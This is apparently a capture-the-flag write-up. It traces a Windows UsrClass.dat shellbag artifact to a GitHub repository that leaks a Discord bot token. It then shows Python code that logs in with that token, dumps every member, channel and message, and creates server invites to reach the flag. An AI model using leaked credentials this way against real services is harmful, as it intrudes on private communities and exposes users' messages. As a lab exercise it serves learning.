This UsrClass.dat is a MS Windows registry file contains information regarding applications which have been executed. We can map all the files with the software [ShellBags Explorer](https://www.sans.org/tools/shellbags-explorer/).
Like that:
![](https://cdn.discordapp.com/attachments/906373269270188082/906434596814610432/unknown.png)
There is here some suspicious directory names, so if the path names is the only thing that we have, let's search this on Google...
![](https://i.imgur.com/cg0U5Fo.png)
![](https://i.imgur.com/BQwEfZl.png)
Yeah, we got that!So, after some checks on the Github Repositories, we found this Discord Bot Token on commits:
![](https://i.imgur.com/YPPBYaT.png)
At first moment, We can up this bot to read all messages, members and channels of all servers that this bot is related.
```pyimport discord, base64from discord.ext import commands
bot = commands.Bot(command_prefix='$', case_insensitive=True)
@bot.eventasync def on_ready():    print('We have logged in as {0.user}'.format(bot))    for guild in bot.guilds:        print("Servers:")        print(guild.name)        for member in guild.members:            print("Members:")            print(member)        for channel in guild.text_channels:            print("Channels:")            print(channel.name)            for current_message in await channel.history(limit=500).flatten():                print(current_message.author)                print(current_message.content)
token = base64.b64decode(b'T0RReU1qUTNPRFl6TWpVek56STVNamt3LllKeWljZy43S0c5MzRWRWxtM1J0Wm45YlVhQ0xTdnJPeUk=').decode()bot.run(token)```
![](https://i.imgur.com/K1lgTBi.png)
This worked!, a lot of messages like this SUP3R H4CK3R W3BCH4T above, bot nothing of flag :(
So... let's create a invite for this Discord server...
```pyimport discord, base64from discord.ext import commands...        for channel in guild.text_channels:            link = await channel.create_invite(max_age = 300)            print(link)...```
![](https://i.imgur.com/Y0dTM17.png)
BOOM! Tha flag did'nt appear before because this text was embbeded, and the bot was only showing normal messages.
`dam{Ep1c_Inf1ltr4t0r_H4ck1ng!!!!!!1!}`